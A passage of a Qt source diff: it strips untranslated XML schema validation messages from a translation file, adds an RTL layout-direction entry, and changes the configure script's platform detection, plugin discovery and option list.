- <source>Member type %1 of %2 element cannot be resolved.</source>
- <translation>Member type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Type %1 of %2 element cannot be resolved.</source>
- <translation>Type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Base type %1 of complex type cannot be resolved.</source>
- <translation>Base type %1 of complex type cannot be resolved.</translation>
- </message>
- <message>
- <source>%1 cannot have complex base type that has a %2.</source>
- <translation>%1 cannot have complex base type that has a %2.</translation>
- </message>
- <message>
- <source>Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.</source>
- <translation>Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.</translation>
- </message>
- <message>
- <source>Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.</source>
- <translation>Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.</translation>
- </message>
- <message>
- <source>Type of %1 element must be a simple type, %2 is not.</source>
- <translation>Type of %1 element must be a simple type, %2 is not.</translation>
- </message>
- <message>
- <source>Substitution group %1 of %2 element cannot be resolved.</source>
- <translation>Substitution group %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Substitution group %1 has circular definition.</source>
- <translation>Substitution group %1 has circular definition.</translation>
- </message>
- <message>
- <source>Duplicated element names %1 in %2 element.</source>
- <translation>Duplicated element names %1 in %2 element.</translation>
- </message>
- <message>
- <source>Reference %1 of %2 element cannot be resolved.</source>
- <translation>Reference %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Circular group reference for %1.</source>
- <translation>Circular group reference for %1.</translation>
- </message>
- <message>
- <source>%1 element is not allowed in this scope</source>
- <translation>%1 element is not allowed in this scope</translation>
- </message>
- <message>
- <source>%1 element cannot have %2 attribute with value other than %3.</source>
- <translation>%1 element cannot have %2 attribute with value other than %3.</translation>
- </message>
- <message>
- <source>%1 element cannot have %2 attribute with value other than %3 or %4.</source>
- <translation>%1 element cannot have %2 attribute with value other than %3 or %4.</translation>
- </message>
- <message>
- <source>%1 or %2 attribute of reference %3 does not match with the attribute declaration %4.</source>
- <translation>%1 or %2 attribute of reference %3 does not match with the attribute declaration %4.</translation>
- </message>
- <message>
- <source>Attribute group %1 has circular reference.</source>
- <translation>Attribute group %1 has circular reference.</translation>
- </message>
- <message>
- <source>%1 attribute in %2 must have %3 use like in base type %4.</source>
- <translation>%1 attribute in %2 must have %3 use like in base type %4.</translation>
- </message>
- <message>
- <source>Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.</source>
- <translation>Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.</translation>
- </message>
- <message>
- <source>%1 has attribute wildcard but its base type %2 has not.</source>
- <translation>%1 has attribute wildcard but its base type %2 has not.</translation>
- </message>
- <message>
- <source>Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.</source>
- <translation>Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.</translation>
- </message>
- <message>
- <source>Enumeration facet contains invalid content: {%1} is not a value of type %2.</source>
- <translation>Enumeration facet contains invalid content: {%1} is not a value of type %2.</translation>
- </message>
- <message>
- <source>Namespace prefix of qualified name %1 is not defined.</source>
- <translation>Namespace prefix of qualified name %1 is not defined.</translation>
- </message>
- <message>
- <source>%1 element %2 is not a valid restriction of the %3 element it redefines: %4.</source>
- <translation>%1 element %2 is not a valid restriction of the %3 element it redefines: %4.</translation>
- </message>
- <message>
- <source>Empty particle cannot be derived from non-empty particle.</source>
- <translation>Empty particle cannot be derived from non-empty particle.</translation>
- </message>
- <message>
- <source>Derived particle is missing element %1.</source>
- <translation>Derived particle is missing element %1.</translation>
- </message>
- <message>
- <source>Derived element %1 is missing value constraint as defined in base particle.</source>
- <translation>Derived element %1 is missing value constraint as defined in base particle.</translation>
- </message>
- <message>
- <source>Derived element %1 has weaker value constraint than base particle.</source>
- <translation>Derived element %1 has weaker value constraint than base particle.</translation>
- </message>
- <message>
- <source>Fixed value constraint of element %1 differs from value constraint in base particle.</source>
- <translation>Fixed value constraint of element %1 differs from value constraint in base particle.</translation>
- </message>
- <message>
- <source>Derived element %1 cannot be nillable as base element is not nillable.</source>
- <translation>Derived element %1 cannot be nillable as base element is not nillable.</translation>
- </message>
- <message>
- <source>Block constraints of derived element %1 must not be more weaker than in the base element.</source>
- <translation>Block constraints of derived element %1 must not be more weaker than in the base element.</translation>
- </message>
- <message>
- <source>Simple type of derived element %1 cannot be validly derived from base element.</source>
- <translation>Simple type of derived element %1 cannot be validly derived from base element.</translation>
- </message>
- <message>
- <source>Complex type of derived element %1 cannot be validly derived from base element.</source>
- <translation>Complex type of derived element %1 cannot be validly derived from base element.</translation>
- </message>
- <message>
- <source>Element %1 is missing in derived particle.</source>
- <translation>Element %1 is missing in derived particle.</translation>
- </message>
- <message>
- <source>Element %1 does not match namespace constraint of wildcard in base particle.</source>
- <translation>Element %1 does not match namespace constraint of wildcard in base particle.</translation>
- </message>
- <message>
- <source>Wildcard in derived particle is not a valid subset of wildcard in base particle.</source>
- <translation>Wildcard in derived particle is not a valid subset of wildcard in base particle.</translation>
- </message>
- <message>
- <source>processContent of wildcard in derived particle is weaker than wildcard in base particle.</source>
- <translation>processContent of wildcard in derived particle is weaker than wildcard in base particle.</translation>
- </message>
- <message>
- <source>Derived particle allows content that is not allowed in the base particle.</source>
- <translation>Derived particle allows content that is not allowed in the base particle.</translation>
- </message>
- <message>
- <source>Can not process unknown element %1, expected elements are: %2.</source>
- <translation>Can not process unknown element %1, expected elements are: %2.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed in this scope, possible elements are: %2.</source>
- <translation>Element %1 is not allowed in this scope, possible elements are: %2.</translation>
- </message>
- <message>
- <source>Child element is missing in that scope, possible child elements are: %1.</source>
- <translation>Child element is missing in that scope, possible child elements are: %1.</translation>
- </message>
- <message>
- <source>Document is not a XML schema.</source>
- <translation>Document is not a XML schema.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.</source>
- <translation>%1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element contains invalid content: {%3}.</source>
- <translation>%1 attribute of %2 element contains invalid content: {%3}.</translation>
- </message>
- <message>
- <source>Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.</source>
- <translation>Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.</translation>
- </message>
- <message>
- <source>Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.</source>
- <translation>Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.</translation>
- </message>
- <message>
- <source>%1 element is not allowed to have the same %2 attribute value as the target namespace %3.</source>
- <translation>%1 element is not allowed to have the same %2 attribute value as the target namespace %3.</translation>
- </message>
- <message>
- <source>%1 element without %2 attribute is not allowed inside schema without target namespace.</source>
- <translation>%1 element without %2 attribute is not allowed inside schema without target namespace.</translation>
- </message>
- <message>
- <source>%1 element is not allowed inside %2 element if %3 attribute is present.</source>
- <translation>%1 element is not allowed inside %2 element if %3 attribute is present.</translation>
- </message>
- <message>
- <source>%1 element has neither %2 attribute nor %3 child element.</source>
- <translation>%1 element has neither %2 attribute nor %3 child element.</translation>
- </message>
- <message>
- <source>%1 element with %2 child element must not have a %3 attribute.</source>
- <translation>%1 element with %2 child element must not have a %3 attribute.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must be %3 or %4.</source>
- <translation>%1 attribute of %2 element must be %3 or %4.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must have a value of %3.</source>
- <translation>%1 attribute of %2 element must have a value of %3.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must have a value of %3 or %4.</source>
- <translation>%1 attribute of %2 element must have a value of %3 or %4.</translation>
- </message>
- <message>
- <source>%1 element must not have %2 and %3 attribute together.</source>
- <translation>%1 element must not have %2 and %3 attribute together.</translation>
- </message>
- <message>
- <source>Content of %1 attribute of %2 element must not be from namespace %3.</source>
- <translation>Content of %1 attribute of %2 element must not be from namespace %3.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must not be %3.</source>
- <translation>%1 attribute of %2 element must not be %3.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must have the value %3 because the %4 attribute is set.</source>
- <translation>%1 attribute of %2 element must have the value %3 because the %4 attribute is set.</translation>
- </message>
- <message>
- <source>Specifying use=&apos;prohibited&apos; inside an attribute group has no effect.</source>
- <translation>Specifying use=&apos;prohibited&apos; inside an attribute group has no effect.</translation>
- </message>
- <message>
- <source>%1 element must have either %2 or %3 attribute.</source>
- <translation>%1 element must have either %2 or %3 attribute.</translation>
- </message>
- <message>
- <source>%1 element must have either %2 attribute or %3 or %4 as child element.</source>
- <translation>%1 element must have either %2 attribute or %3 or %4 as child element.</translation>
- </message>
- <message>
- <source>%1 element requires either %2 or %3 attribute.</source>
- <translation>%1 element requires either %2 or %3 attribute.</translation>
- </message>
- <message>
- <source>Text or entity references not allowed inside %1 element</source>
- <translation>Text or entity references not allowed inside %1 element</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must contain %3, %4 or a list of URIs.</source>
- <translation>%1 attribute of %2 element must contain %3, %4 or a list of URIs.</translation>
- </message>
- <message>
- <source>%1 element is not allowed in this context.</source>
- <translation>%1 element is not allowed in this context.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element has larger value than %3 attribute.</source>
- <translation>%1 attribute of %2 element has larger value than %3 attribute.</translation>
- </message>
- <message>
- <source>Prefix of qualified name %1 is not defined.</source>
- <translation>Prefix of qualified name %1 is not defined.</translation>
- </message>
- <message>
- <source>%1 attribute of %2 element must either contain %3 or the other values.</source>
- <translation>%1 attribute of %2 element must either contain %3 or the other values.</translation>
- </message>
- <message>
- <source>Component with ID %1 has been defined previously.</source>
- <translation>Component with ID %1 has been defined previously.</translation>
- </message>
- <message>
- <source>Element %1 already defined.</source>
- <translation>Element %1 already defined.</translation>
- </message>
- <message>
- <source>Attribute %1 already defined.</source>
- <translation>Attribute %1 already defined.</translation>
- </message>
- <message>
- <source>Type %1 already defined.</source>
- <translation>Type %1 already defined.</translation>
- </message>
- <message>
- <source>Attribute group %1 already defined.</source>
- <translation>Attribute group %1 already defined.</translation>
- </message>
- <message>
- <source>Element group %1 already defined.</source>
- <translation>Element group %1 already defined.</translation>
- </message>
- <message>
- <source>Notation %1 already defined.</source>
- <translation>Notation %1 already defined.</translation>
- </message>
- <message>
- <source>Identity constraint %1 already defined.</source>
- <translation>Identity constraint %1 already defined.</translation>
- </message>
- <message>
- <source>Duplicated facets in simple type %1.</source>
- <translation>Duplicated facets in simple type %1.</translation>
- </message>
- <message>
- <source>%1 is not valid according to %2.</source>
- <translation>%1 is not valid according to %2.</translation>
- </message>
- <message>
- <source>String content does not match the length facet.</source>
- <translation>String content does not match the length facet.</translation>
- </message>
- <message>
- <source>String content does not match the minLength facet.</source>
- <translation>String content does not match the minLength facet.</translation>
- </message>
- <message>
- <source>String content does not match the maxLength facet.</source>
- <translation>String content does not match the maxLength facet.</translation>
- </message>
- <message>
- <source>String content does not match pattern facet.</source>
- <translation>String content does not match pattern facet.</translation>
- </message>
- <message>
- <source>String content is not listed in the enumeration facet.</source>
- <translation>String content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the maxInclusive facet.</source>
- <translation>Signed integer content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the maxExclusive facet.</source>
- <translation>Signed integer content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the minInclusive facet.</source>
- <translation>Signed integer content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match the minExclusive facet.</source>
- <translation>Signed integer content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Signed integer content is not listed in the enumeration facet.</source>
- <translation>Signed integer content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match pattern facet.</source>
- <translation>Signed integer content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Signed integer content does not match in the totalDigits facet.</source>
- <translation>Signed integer content does not match in the totalDigits facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the maxInclusive facet.</source>
- <translation>Unsigned integer content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the maxExclusive facet.</source>
- <translation>Unsigned integer content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the minInclusive facet.</source>
- <translation>Unsigned integer content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match the minExclusive facet.</source>
- <translation>Unsigned integer content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content is not listed in the enumeration facet.</source>
- <translation>Unsigned integer content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match pattern facet.</source>
- <translation>Unsigned integer content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Unsigned integer content does not match in the totalDigits facet.</source>
- <translation>Unsigned integer content does not match in the totalDigits facet.</translation>
- </message>
- <message>
- <source>Double content does not match the maxInclusive facet.</source>
- <translation>Double content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Double content does not match the maxExclusive facet.</source>
- <translation>Double content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Double content does not match the minInclusive facet.</source>
- <translation>Double content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Double content does not match the minExclusive facet.</source>
- <translation>Double content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Double content is not listed in the enumeration facet.</source>
- <translation>Double content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Double content does not match pattern facet.</source>
- <translation>Double content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Decimal content does not match in the fractionDigits facet.</source>
- <translation>Decimal content does not match in the fractionDigits facet.</translation>
- </message>
- <message>
- <source>Decimal content does not match in the totalDigits facet.</source>
- <translation>Decimal content does not match in the totalDigits facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the maxInclusive facet.</source>
- <translation>Date time content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the maxExclusive facet.</source>
- <translation>Date time content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the minInclusive facet.</source>
- <translation>Date time content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Date time content does not match the minExclusive facet.</source>
- <translation>Date time content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Date time content is not listed in the enumeration facet.</source>
- <translation>Date time content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Date time content does not match pattern facet.</source>
- <translation>Date time content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the maxInclusive facet.</source>
- <translation>Duration content does not match the maxInclusive facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the maxExclusive facet.</source>
- <translation>Duration content does not match the maxExclusive facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the minInclusive facet.</source>
- <translation>Duration content does not match the minInclusive facet.</translation>
- </message>
- <message>
- <source>Duration content does not match the minExclusive facet.</source>
- <translation>Duration content does not match the minExclusive facet.</translation>
- </message>
- <message>
- <source>Duration content is not listed in the enumeration facet.</source>
- <translation>Duration content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Duration content does not match pattern facet.</source>
- <translation>Duration content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Boolean content does not match pattern facet.</source>
- <translation>Boolean content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Binary content does not match the length facet.</source>
- <translation>Binary content does not match the length facet.</translation>
- </message>
- <message>
- <source>Binary content does not match the minLength facet.</source>
- <translation>Binary content does not match the minLength facet.</translation>
- </message>
- <message>
- <source>Binary content does not match the maxLength facet.</source>
- <translation>Binary content does not match the maxLength facet.</translation>
- </message>
- <message>
- <source>Binary content is not listed in the enumeration facet.</source>
- <translation>Binary content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Invalid QName content: %1.</source>
- <translation>Invalid QName content: %1.</translation>
- </message>
- <message>
- <source>QName content is not listed in the enumeration facet.</source>
- <translation>QName content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>QName content does not match pattern facet.</source>
- <translation>QName content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Notation content is not listed in the enumeration facet.</source>
- <translation>Notation content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>List content does not match length facet.</source>
- <translation>List content does not match length facet.</translation>
- </message>
- <message>
- <source>List content does not match minLength facet.</source>
- <translation>List content does not match minLength facet.</translation>
- </message>
- <message>
- <source>List content does not match maxLength facet.</source>
- <translation>List content does not match maxLength facet.</translation>
- </message>
- <message>
- <source>List content is not listed in the enumeration facet.</source>
- <translation>List content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>List content does not match pattern facet.</source>
- <translation>List content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Union content is not listed in the enumeration facet.</source>
- <translation>Union content is not listed in the enumeration facet.</translation>
- </message>
- <message>
- <source>Union content does not match pattern facet.</source>
- <translation>Union content does not match pattern facet.</translation>
- </message>
- <message>
- <source>Data of type %1 are not allowed to be empty.</source>
- <translation>Data of type %1 are not allowed to be empty.</translation>
- </message>
- <message>
- <source>Element %1 is missing child element.</source>
- <translation>Element %1 is missing child element.</translation>
- </message>
- <message>
- <source>There is one IDREF value with no corresponding ID: %1.</source>
- <translation>There is one IDREF value with no corresponding ID: %1.</translation>
- </message>
- <message>
- <source>Loaded schema file is invalid.</source>
- <translation>Loaded schema file is invalid.</translation>
- </message>
- <message>
- <source>%1 contains invalid data.</source>
- <translation>%1 contains invalid data.</translation>
- </message>
- <message>
- <source>xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.</source>
- <translation>xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.</translation>
- </message>
- <message>
- <source>xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.</source>
- <translation>xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.</translation>
- </message>
- <message>
- <source>No schema defined for validation.</source>
- <translation>No schema defined for validation.</translation>
- </message>
- <message>
- <source>No definition for element %1 available.</source>
- <translation>No definition for element %1 available.</translation>
- </message>
- <message>
- <source>Specified type %1 is not known to the schema.</source>
- <translation>Specified type %1 is not known to the schema.</translation>
- </message>
- <message>
- <source>Element %1 is not defined in this scope.</source>
- <translation>Element %1 is not defined in this scope.</translation>
- </message>
- <message>
- <source>Declaration for element %1 does not exist.</source>
- <translation>Declaration for element %1 does not exist.</translation>
- </message>
- <message>
- <source>Element %1 contains invalid content.</source>
- <translation>Element %1 contains invalid content.</translation>
- </message>
- <message>
- <source>Element %1 is declared as abstract.</source>
- <translation>Element %1 is declared as abstract.</translation>
- </message>
- <message>
- <source>Element %1 is not nillable.</source>
- <translation>Element %1 is not nillable.</translation>
- </message>
- <message>
- <source>Attribute %1 contains invalid data: %2</source>
- <translation>Attribute %1 contains invalid data: %2</translation>
- </message>
- <message>
- <source>Element contains content although it is nillable.</source>
- <translation>Element contains content although it is nillable.</translation>
- </message>
- <message>
- <source>Fixed value constraint not allowed if element is nillable.</source>
- <translation>Fixed value constraint not allowed if element is nillable.</translation>
- </message>
- <message>
- <source>Element %1 cannot contain other elements, as it has a fixed content.</source>
- <translation>Element %1 cannot contain other elements, as it has a fixed content.</translation>
- </message>
- <message>
- <source>Specified type %1 is not validly substitutable with element type %2.</source>
- <translation>Specified type %1 is not validly substitutable with element type %2.</translation>
- </message>
- <message>
- <source>Complex type %1 is not allowed to be abstract.</source>
- <translation>Complex type %1 is not allowed to be abstract.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed attributes.</source>
- <translation>Element %1 contains not allowed attributes.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed child element.</source>
- <translation>Element %1 contains not allowed child element.</translation>
- </message>
- <message>
- <source>Content of element %1 does not match its type definition: %2.</source>
- <translation>Content of element %1 does not match its type definition: %2.</translation>
- </message>
- <message>
- <source>Content of element %1 does not match defined value constraint.</source>
- <translation>Content of element %1 does not match defined value constraint.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed child content.</source>
- <translation>Element %1 contains not allowed child content.</translation>
- </message>
- <message>
- <source>Element %1 contains not allowed text content.</source>
- <translation>Element %1 contains not allowed text content.</translation>
- </message>
- <message>
- <source>Element %1 is missing required attribute %2.</source>
- <translation>Element %1 is missing required attribute %2.</translation>
- </message>
- <message>
- <source>Attribute %1 does not match the attribute wildcard.</source>
- <translation>Attribute %1 does not match the attribute wildcard.</translation>
- </message>
- <message>
- <source>Declaration for attribute %1 does not exist.</source>
- <translation>Declaration for attribute %1 does not exist.</translation>
- </message>
- <message>
- <source>Element %1 contains two attributes of type %2.</source>
- <translation>Element %1 contains two attributes of type %2.</translation>
- </message>
- <message>
- <source>Attribute %1 contains invalid content.</source>
- <translation>Attribute %1 contains invalid content.</translation>
- </message>
- <message>
- <source>Element %1 contains unknown attribute %2.</source>
- <translation>Element %1 contains unknown attribute %2.</translation>
- </message>
- <message>
- <source>Content of attribute %1 does not match its type definition: %2.</source>
- <translation>Content of attribute %1 does not match its type definition: %2.</translation>
- </message>
- <message>
- <source>Content of attribute %1 does not match defined value constraint.</source>
- <translation>Content of attribute %1 does not match defined value constraint.</translation>
- </message>
- <message>
- <source>Non-unique value found for constraint %1.</source>
- <translation>Non-unique value found for constraint %1.</translation>
- </message>
- <message>
- <source>Key constraint %1 contains absent fields.</source>
- <translation>Key constraint %1 contains absent fields.</translation>
- </message>
- <message>
- <source>Key constraint %1 contains references nillable element %2.</source>
- <translation>Key constraint %1 contains references nillable element %2.</translation>
- </message>
- <message>
- <source>No referenced value found for key reference %1.</source>
- <translation>No referenced value found for key reference %1.</translation>
- </message>
- <message>
- <source>More than one value found for field %1.</source>
- <translation>More than one value found for field %1.</translation>
- </message>
- <message>
- <source>Field %1 has no simple type.</source>
- <translation>Field %1 has no simple type.</translation>
- </message>
- <message>
- <source>ID value &apos;%1&apos; is not unique.</source>
- <translation>ID value &apos;%1&apos; is not unique.</translation>
- </message>
- <message>
- <source>&apos;%1&apos; attribute contains invalid QName content: %2.</source>
- <translation>&apos;%1&apos; attribute contains invalid QName content: %2.</translation>
- </message>
- </context>
+<context>
+ <name>QApplication</name>
+ <message>
+ <source>QT_LAYOUT_DIRECTION</source>
+ <comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
+ <translation>RTL</translation>
+ </message>
+</context>
</TS>
diff --git a/config.tests/unix/doubleformat/doubleformattest.cpp b/config.tests/unix/doubleformat/doubleformattest.cpp
index f7b9000..b906e00 100644
--- a/config.tests/unix/doubleformat/doubleformattest.cpp
+++ b/config.tests/unix/doubleformat/doubleformattest.cpp
@@ -54,7 +54,7 @@ tested on x86, arm-le (gp), aix
#include <stdlib.h>
// equals static char c [] = "0123ABCD0123ABCD\0\0\0\0\0\0\0"
-static double d [] = { 710524581542275055616.0, 710524581542275055616.0};
+static double d [] = { 710524581542275055616.0, 710524581542275055616.0, 0.0 };
int main(int argc, char **argv)
{
diff --git a/configure b/configure
index bacd2e4..b95baab 100755
--- a/configure
+++ b/configure
@@ -185,30 +185,14 @@ fi
#-------------------------------------------------------------------------------
PLATFORM_X11=no
-PLATFORM_MAC=no
PLATFORM_QWS=maybe
PLATFORM_QPA=maybe
-BUILD_ON_MAC=no;
-[ -d /System/Library/Frameworks/Carbon.framework ] && BUILD_ON_MAC=yes
-
-if [ -f "$relpath"/src/gui/kernel/qapplication_mac.mm ] && [ $BUILD_ON_MAC = "yes" ]; then
- # Qt/Mac
- # ~ the Carbon SDK exists
- # ~ src/gui/base/qapplication_mac.cpp is present
- # ~ this is the internal edition and Qt/Mac sources exist
+BUILD_ON_MAC=no
+if [ -d /System/Library/Frameworks/Carbon.framework ]; then
PLATFORM_MAC=maybe
-elif [ -f "$relpath"/src/gui/kernel/qapplication_qws.cpp ]; then
- # Qt Embedded
- # ~ src/gui/base/qapplication_qws.cpp is present
- # ~ this is the free or commercial edition
- # ~ this is the internal edition and Qt Embedded is explicitly enabled
- if [ -f "$relpath"/src/gui/kernel/qapplication_mac.mm ]; then
- # This is a depot build, or an all-platforms package
- PLATFORM_QWS=maybe
- else
- # This must be the embedded package, since the Qt/Mac source files are not present
- PLATFORM_QWS=yes
- fi
+ BUILD_ON_MAC=yes
+else
+ PLATFORM_MAC=no
fi
#-----------------------------------------------------------------------------
@@ -333,17 +317,10 @@ earlyArgParse()
case "$VAR" in
embedded)
CFG_EMBEDDED="$VAL"
- if [ "$PLATFORM_QWS" != "no" ]; then
- if [ "$PLATFORM_QWS" = "maybe" ]; then
- PLATFORM_X11=no
- PLATFORM_MAC=no
- PLATFORM_QWS=yes
- PLATFORM_QPA=no
- fi
- else
- echo "No license exists to enable Qt for Embedded Linux. Disabling."
- CFG_EMBEDDED=no
- fi
+ PLATFORM_X11=no
+ PLATFORM_MAC=no
+ PLATFORM_QWS=yes
+ PLATFORM_QPA=no
;;
qpa)
CFG_EMBEDDED="no"
@@ -751,6 +728,11 @@ if [ -f "$relpath/src/gui/embedded/qscreenqnx_qws.cpp" ]; then
CFG_MOUSE_AVAILABLE="${CFG_MOUSE_AVAILABLE} qnx"
CFG_GFX_AVAILABLE="${CFG_GFX_AVAILABLE} qnx"
fi
+if [ -f "$relpath/src/gui/embedded/qscreenintegrityfb_qws.cpp" ]; then
+ CFG_KBD_AVAILABLE="${CFG_KBD_AVAILABLE} integrity"
+ CFG_MOUSE_AVAILABLE="${CFG_MOUSE_AVAILABLE} integrity"
+ CFG_GFX_AVAILABLE="${CFG_GFX_AVAILABLE} integrityfb"
+fi
CFG_ARCH=
CFG_HOST_ARCH=
@@ -957,6 +939,16 @@ if [ -d "$relpath/src/plugins/gfxdrivers" ]; then
CFG_GFX_OFF="$CFG_GFX_AVAILABLE" # assume all off
fi
+CFG_IMAGEFORMAT_PLUGIN_AVAILABLE=
+if [ -d "$relpath/src/plugins/imageformats" ]; then
+ for a in "$relpath/src/plugins/imageformats/"*; do
+ if [ -d "$a" ]; then
+ base_a=`basename "$a"`
+ CFG_IMAGEFORMAT_PLUGIN_AVAILABLE="${CFG_IMAGEFORMAT_PLUGIN_AVAILABLE} ${base_a}"
+ fi
+ done
+fi
+
#-------------------------------------------------------------------------------
# Set Default NaCl options
#-------------------------------------------------------------------------------
@@ -1049,7 +1041,7 @@ while [ "$#" -gt 0 ]; do
VAL=no
;;
#Qt style yes options
- -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-audio-backend|-svg|-declarative|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles)
+ -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-audio-backend|-svg|-declarative|-declarative-debug|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles)
VAR=`echo $1 | sed "s,^-\(.*\),\1,"`
VAL=yes
;;
@@ -1336,31 +1328,17 @@ while [ "$#" -gt 0 ]; do
;;
embedded)
CFG_EMBEDDED="$VAL"
- if [ "$PLATFORM_QWS" != "no" ]; then
- if [ "$PLATFORM_QWS" = "maybe" ]; then
- PLATFORM_X11=no
- PLATFORM_MAC=no
- PLATFORM_QWS=yes
- PLATFORM_QPA=no
- fi
- else
- echo "No license exists to enable Qt for Embedded Linux. Disabling."
- CFG_EMBEDDED=no
- fi
+ PLATFORM_X11=no
+ PLATFORM_MAC=no
+ PLATFORM_QWS=yes
+ PLATFORM_QPA=no
;;
embedded-lite|qpa)
CFG_EMBEDDED="no"
- if [ "$PLATFORM_QPA" != "no" ]; then
- if [ "$PLATFORM_QPA" = "maybe" ]; then
- PLATFORM_X11=no
- PLATFORM_MAC=no
- PLATFORM_QWS=no
- PLATFORM_QPA=yes
- fi
- else
- echo "No license exists to enable Qt QPA. Disabling."
- CFG_EMBEDDED=no
- fi
+ PLATFORM_X11=no
+ PLATFORM_MAC=no
+ PLATFORM_QWS=no
+ PLATFORM_QPA=yes
;;
nacl)
;;
@@ -1414,7 +1392,9 @@ while [ "$#" -gt 0 ]; do
openvg)
if [ "$VAL" = "auto" ] || [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then
